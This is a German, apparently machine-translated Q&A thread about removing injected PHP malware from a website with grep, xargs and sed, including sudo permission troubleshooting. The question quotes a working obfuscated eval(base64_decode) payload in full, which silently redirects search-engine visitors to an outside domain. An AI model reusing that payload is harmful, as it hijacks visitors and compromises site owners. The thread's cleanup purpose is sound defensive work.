grep, xargs, sed um PHP eval hack aufzuräumen

3

Ich versuche, die Befehle auf http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ zu verwenden, um einen PHP-basierten Hack zu bereinigen auf einer Website.

Beispielcode zum Abgleichen / Entfernen

<?php           eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9"));

Versuchter Befehl:

sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php           eval(base64_decode[^;]*;/<?php\n/g'

Das Sudo wurde hinzugefügt, da es eine Lese- / Schreibberechtigung für das Verzeichnis benötigt, auf das ich zugreife. Die Dateien werden von grep korrekt aufgelistet, aber nicht von sed geändert. Irgendwelche Vorschläge?

roktechie
quelle

Antworten:

2

Ich denke, der doppelte Gebrauch von sudoist der Täter. Ich konnte Ihre Befehle ohne sie zum Laufen bringen.

Versuchen Sie sudo -s, eine neue Shell zu öffnen, und führen Sie die weitergeleiteten Befehle dann selbst aus.

sudo -s
grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | xargs sed -i.bak 's/&lt;?php           eval(base64_decode[^;]*;/&lt;?php\n/g'

Hinweis: Ich habe festgestellt, dass Sie \nnicht ganz richtig herausgekommen sind. Doppelter Backslash, und Sie sollten in Ordnung sein.

LazyMonkey
quelle
Ich dachte, das könnte das Problem sein, aber die Lösung funktioniert leider nicht. sed: kann /home/user/webdir/wp-content/themes/index.php nicht lesen: Erlaubnis verweigert
roktechie
@roktechie: Wenn Sie (nur) Ihren grep –l…Befehl ausführen ( sudoggf. für Lesezugriff verwenden), wählen Sie eine der aufgelisteten Dateien aus, und geben Sie den sudo sed –i.bak …Dateinamen gefolgt von diesem ein. Was passiert dann?
Scott
sudo -ssollten Sie auf diesem System rooten, damit Sie lesen / schreiben können, was Sie wollen. Wenn root nicht auf etwas zugreifen kann, chmodsollten Sie sich davon lösen. (Wenn es sich um ein RO-Dateisystem handelt, cat /etc/fstabsollte sich das zeigen.)
LazyMonkey